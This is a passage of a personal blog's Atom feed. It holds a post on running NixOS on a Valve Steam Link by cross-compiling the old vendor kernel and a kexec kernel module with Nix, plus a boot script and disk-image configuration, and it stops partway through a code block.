<feed xmlns="http://www.w3.org/2005/Atom">
  <title>feyor.sh</title>
  <link href="https://feyor.sh/atom.xml" rel="self"/>
  <link href="https://feyor.sh/"/>
  
  <updated>2026-05-31T08:38:39-05:00</updated>
  
  <id>https://feyor.sh/</id>
  
  <author>
    <name>George Huebner</name>
    
    <email>george@feyor.sh</email>
    
  </author>
  
  
  <entry>
    <title type="html"><![CDATA[Infecting the Steam Link with NixOS]]></title>
    <link href="https://feyor.sh/blog/infecting-the-steam-link-with-nixos/"/>
    <id>tag:feyor.sh:0eadbf0a-bf2d-4bbf-bc43-899f5f7e989f</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-09-26T00:00:00+00:00</published>
    <updated>2026-10-06T15:03:20-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/infecting-the-steam-link-with-nixos/"><![CDATA[<p>While rummaging through my closet the other day I discovered a <a href="https://en.wikipedia.org/wiki/Steam_Link#Hardware_device">Steam Link</a> I had bought on flash sale way back in 2018 still dutifully humming away all these years later.
It occured to me that having an always-on low power Arm device with Ethernet, WiFi, Bluetooth, and several USB ports would be handy, so thus began my journey to get NixOS running on the Steam Link.</p>
<p>As it turns out, a fellow named <a href="https://heap.ovh/getting-linux-on-valve-steam-link.html">fijam</a> already figured out the hard parts involved in running a custom Linux distro on the Steam Link.
The most notable obstacle is that the bootloader will only boot kernels signed by Valve; to get around this, we can boot into the Valve-blessed kernel and then <kbd>kexec</kbd> our new kernel.
However, the kernel shipped with the Steam Link was not built with <code>CONFIG_KEXEC</code> enabled.
This is where things get <em>really</em> clever: we can cobble the pertinent kexec source files into a minimal kernel module that adds the <kbd>kexec</kbd> syscall to the running system!</p>
<p>Several people have successfully used this technique to get other distros<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> booting, but they all seem to have just copied the <kbd>kexec</kbd> binary and kernel module from fijam&rsquo;s website.
fijam seems like a lovely person and all, but I&rsquo;m wary of downloading kernel modules from the interwebs so I decided to compile it myself.</p>
<h2 id="booting-the-thing">Booting the thing</h2>
<p>Compiling a NixOS userspace and kernel/initrd is pretty simple; you just pass the correct <kbd>system</kbd> (and because I&rsquo;m using <kbd>__splicedPackages</kbd>/<kbd>crossSystem</kbd>, also <kbd>pkgs</kbd>) to <kbd>lib.nixosSystem</kbd> and add your modules.
Choosing the target architecture was slightly less straightforward: Valve&rsquo;s steamlink toolchain uses <code>armv7a</code>, but importing nixpkgs with <kbd>crossSystem.config = &ldquo;armv7a-unknown-linux-gnueabihf&rdquo;</kbd> interacts <a href="https://github.com/NixOS/nixpkgs/blob/fbe840e7184ed15fd5b1ca8f1a8746462a38d59c/lib/systems/default.nix#L596-L599">poorly with the Go build plumbing</a>, so I used the (seemingly) equivalent <code>armv7l</code> instead.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  inputs<span style="color:#00d3d0">.</span>nixpkgs<span style="color:#00d3d0">.</span>url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;github:NixOS/nixpkgs/nixos-unstable&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  outputs <span style="color:#00d3d0">=</span> { self<span style="color:#00d3d0">,</span> nixpkgs }:
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">inherit</span> (nixpkgs) lib;
</span></span><span style="display:flex;"><span>      system <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;armv7l-linux&#34;</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#a8a8a8"># hostSystem should be linux but does not have to be arm (x86 should work)</span>
</span></span><span style="display:flex;"><span>      hostSystem <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;aarch64-linux&#34;</span>;
</span></span><span style="display:flex;"><span>      pkgs <span style="color:#00d3d0">=</span> (<span style="color:#b6a0ff">import</span> nixpkgs {
</span></span><span style="display:flex;"><span>        system <span style="color:#00d3d0">=</span> hostSystem;
</span></span><span style="display:flex;"><span>        crossSystem <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>          config <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;armv7l-unknown-linux-gnueabihf&#34;</span>;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>      })<span style="color:#00d3d0">.</span>__splicedPackages;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">in</span> {
</span></span><span style="display:flex;"><span>      nixosConfigurations<span style="color:#00d3d0">.</span>steamlink <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>nixosSystem {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">inherit</span> system pkgs;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        modules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># ...</span>
</span></span><span style="display:flex;"><span>        ];
</span></span><span style="display:flex;"><span>      };
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>The real challenge is compiling a kernel module for a vendored fork of a 13 year old kernel; the <a href="https://wiki.nixos.org/wiki/Linux_kernel#Packaging_out-of-tree_kernel_modules">NixOS wiki</a> is actually pretty helpful here and points out some footguns related to the default hardening flags in stdenv.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>kexecMod <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (pkgs) stdenv;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>nixosConfigurations<span style="color:#00d3d0">.</span>steamlink<span style="color:#00d3d0">.</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>build) kernel oldKernel;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">in</span> stdenv<span style="color:#00d3d0">.</span>mkDerivation {
</span></span><span style="display:flex;"><span>  pname <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kexec_mod&#34;</span>;
</span></span><span style="display:flex;"><span>  version <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;0.0.1&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  src <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">./kexec_mod</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  postPatch <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    for f in machine_kexec.c kexec.c relocate_kernel.S; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      substituteInPlace &#34;$f&#34; --subst-var-by KERNEL </span><span style="color:#79a8ff">${</span>oldKernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  nativeBuildInputs <span style="color:#00d3d0">=</span> kernel<span style="color:#00d3d0">.</span>moduleBuildDependencies;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  makeFlags <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;ARCH=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>hostPlatform<span style="color:#00d3d0">.</span>linuxArch<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;CROSS_COMPILE=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>targetPrefix<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;KDIR=</span><span style="color:#79a8ff">${</span>oldKernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;INSTALL_MOD_PATH=$(out)&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  env<span style="color:#00d3d0">.</span>NIX_CFLAGS_COMPILE <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">toString</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-std=gnu89&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-fno-pie&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (kernel) hardeningDisable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  meta <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    description <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kexec functionality as a kernel module for old kernels&#34;</span>;
</span></span><span style="display:flex;"><span>    homepage <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://github.com/lukas2511/steamlink-sdk&#34;</span>;
</span></span><span style="display:flex;"><span>    license <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>licenses<span style="color:#00d3d0">.</span>gpl2;
</span></span><span style="display:flex;"><span>    platforms <span style="color:#00d3d0">=</span> [ system ];
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>(See <a href="/blog/infecting-the-steam-link-with-nixos/#files">Files</a> for the kexec_mod source code.)</p>
<p>In order to get this to build we need to point Kbuild to a Linux kernel checkout that has been built with <kbd>make modules</kbd><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
(Note that I&rsquo;m using the <kbd>moduleBuildDependencies</kbd> attribute of the comparatively modern <kbd>kernel</kbd> from my NixOS configuration.)</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>oldKernel <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (pkgs) stdenv fetchFromGitHub buildPackages fetchpatch writeText;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>nixosConfigurations<span style="color:#00d3d0">.</span>steamlink<span style="color:#00d3d0">.</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>build) kernel;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">in</span> stdenv<span style="color:#00d3d0">.</span>mkDerivation {
</span></span><span style="display:flex;"><span>  pname <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;linux-steamlink&#34;</span>;
</span></span><span style="display:flex;"><span>  version <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;3.8.13&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  src <span style="color:#00d3d0">=</span> fetchFromGitHub {
</span></span><span style="display:flex;"><span>    owner <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;ValveSoftware&#34;</span>;
</span></span><span style="display:flex;"><span>    repo <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;steamlink-sdk&#34;</span>;
</span></span><span style="display:flex;"><span>    rootDir <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kernel&#34;</span>;
</span></span><span style="display:flex;"><span>    rev <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;62b4d098d1472c3534dd098ca2a0e0e10712f1c6&#34;</span>;
</span></span><span style="display:flex;"><span>    hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-3Q8JjNmkRFCkdt8E+ol+E/c2sy+X5I7UYhsHAfYBdWs=&#34;</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  sourceRoot <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;source&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  patches <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    (fetchpatch {
</span></span><span style="display:flex;"><span>      url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/linux3.4-ARM-8933-1-replace-Sun-Solaris-style-flag-on-section.patch&#34;</span>;
</span></span><span style="display:flex;"><span>      hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-KRNI4070H0AFMCZl7pYnIbin6lbp68/xuf6yOPvmYdI=&#34;</span>;
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>    (fetchpatch {
</span></span><span style="display:flex;"><span>      url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/gcc10-extern_YYLOC_global_declaration.patch&#34;</span>;
</span></span><span style="display:flex;"><span>      hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-9hq5xGeJRL/ESHofOh4MAOAGV2IlDRYvvpxyxk3MXlw=&#34;</span>;
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>    (writeText <span style="color:#79a8ff">&#34;0001-gcc-bug85745.diff&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        diff --git a/arch/arm/include/asm/uaccess.h b/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        index 74b17d0..dc64fa2 100644
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        --- a/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        +++ b/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        @@ -164,7 +164,7 @@
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         #define __put_user_check(x,p)</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         </span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">({</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">unsigned long __limit = current_thread_info()-&gt;addr_limit - 1; </span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        -</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register const typeof(*(p)) __r2 asm(&#34;r2&#34;) = (x);</span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        +</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register typeof(*(p)) __r2 asm(&#34;r2&#34;) = (x);</span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register const typeof(*(p)) __user *__p asm(&#34;r0&#34;) = (p);</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register unsigned long __l asm(&#34;r1&#34;) = __limit;</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">         </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register int __e asm(&#34;r0&#34;);</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      &#39;&#39;</span>)
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  postPatch <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    substituteInPlace arch/arm/boot/compressed/piggy.xzkern.S --replace-fail &#39;#alloc&#39; &#39; &#34;a&#34;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    substituteInPlace arch/arm/mach-berlin/Makefile.boot --replace-fail &#39;/bin/bash&#39; &#39;</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>shell<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    substituteInPlace arch/arm/boot/compressed/Makefile --replace-fail &#39;</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">@$(check_for_multiple_zreladdr)&#39; &#39;</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">echo LDFLAGS_vmlinux = </span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{LDFLAGS_vmlinux}</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\n\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">@$(check_for_multiple_zreladdr)&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    cp include/linux/compiler-gcc4.h include/linux/compiler-gcc</span><span style="color:#79a8ff">${</span>lib<span style="color:#00d3d0">.</span>versions<span style="color:#00d3d0">.</span>major buildPackages<span style="color:#00d3d0">.</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>version<span style="color:#79a8ff">}</span><span style="color:#79a8ff">.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (kernel) nativeBuildInputs;
</span></span><span style="display:flex;"><span>  depsBuildBuild <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    buildPackages<span style="color:#00d3d0">.</span>stdenv<span style="color:#00d3d0">.</span>cc
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  makeFlags <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;ARCH=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>hostPlatform<span style="color:#00d3d0">.</span>linuxArch<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;LOCALVERSION=-mrvl&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;CROSS_COMPILE=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>targetPrefix<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>  env<span style="color:#00d3d0">.</span>NIX_CFLAGS_COMPILE <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">toString</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-std=gnu89&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-Wno-error=address&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-Wno-error=dangling-pointer&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;-Wno-error=missing-attributes&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">inherit</span> (kernel) hardeningDisable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  configurePhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    make bg2cd_penguin_mlc_defconfig $makeFlags
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    echo &#34;CONFIG_KEXEC=y&#34; &gt;&gt; .config
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    echo &#34;CONFIG_KERNEL_XZ=y&#34; &gt;&gt; .config
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    make olddefconfig $makeFlags
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  postBuild <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    make modules $makeFlags -j$NIX_BUILD_CORES
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  installPhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mkdir $out
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    cp -r * $out/
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  dontFixup <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>It took several hacks to get things building on a modern version of GCC, but eventually I was able to get the 3.8.13-mrvl kernel and the kexec_mod kernel module building.</p>
<p>Now that we have <code>kexec_mod.ko</code>, we need our new initrd and kernel (both come from our NixOS config), the device tree blob for the Steam Link (which has been <a href="https://github.com/torvalds/linux/blob/6812ce4e4379ffc99c52401ec28f0d7ffbc36206/arch/arm/boot/dts/synaptics/berlin2cd-valve-steamlink.dts">upstreamed</a> to Linux so we can get it from <kbd>hardware.deviceTree.package</kbd>), a copy of the <kbd>kexec</kbd> userland binary (compiled with <kbd>pkgsStatic</kbd> so we can run it on non-NixOS), and a small script to tie everything together:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>fts-set steamlink.crashcounter <span style="color:#00bcff">0</span> <span style="color:#a8a8a8"># required to prevent factory reset after a few reboots</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mkdir -p /mnt/disk/proc /mnt/disk/sys /mnt/disk/dev
</span></span><span style="display:flex;"><span>mount -t proc proc /mnt/disk/proc
</span></span><span style="display:flex;"><span>mount -o rbind /sys /mnt/disk/sys
</span></span><span style="display:flex;"><span>mount -o rbind /dev /mnt/disk/dev
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>insmod /mnt/disk/kexec_load.ko
</span></span><span style="display:flex;"><span>chroot /mnt/disk/ /kexec --load /zImage <span style="color:#79a8ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff"></span>                         --initrd /initrd <span style="color:#79a8ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff"></span>                         --dtb /berlin2cd-valve-steamlink.dtb <span style="color:#79a8ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff"></span>                         --command-line <span style="color:#79a8ff">&#34;init=/init root=/dev/sda2 rootwait rw usbcore.autosuspend=-1&#34;</span>
</span></span><span style="display:flex;"><span>chroot /mnt/disk/ /kexec -e</span></span></code></pre></div>
</details>

<p>You could juggle these files manually and upload them to a USB drive yourself, but it&rsquo;s much easier to use the <a href="https://github.com/NixOS/nixpkgs/blob/5f5458dc42bf4391dc5f85e7682decb8c78e8756/nixos/modules/installer/sd-card/sd-image.nix">sd-image</a> NixOS module to create a disk image instead:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>usb-image <span style="color:#00d3d0">=</span> { modulesPath<span style="color:#00d3d0">,</span> config<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>  imports <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/installer/sd-card/sd-image.nix&#34;</span>)
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  image<span style="color:#00d3d0">.</span>extension <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce <span style="color:#79a8ff">&#34;img&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  sdImage <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>    dtb <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;berlin2cd-valve-steamlink.dtb&#34;</span>;
</span></span><span style="display:flex;"><span>    kexecScript <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">./kexec-nixos</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inherit</span> (config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>build) kernel initialRamdisk;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">in</span> {
</span></span><span style="display:flex;"><span>    compressImage <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>    firmwarePartitionName <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;STEAMLINK&#34;</span>;
</span></span><span style="display:flex;"><span>    rootVolumeLabel <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;NIXOS&#34;</span>;
</span></span><span style="display:flex;"><span>    populateFirmwareCommands <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      pushd firmware
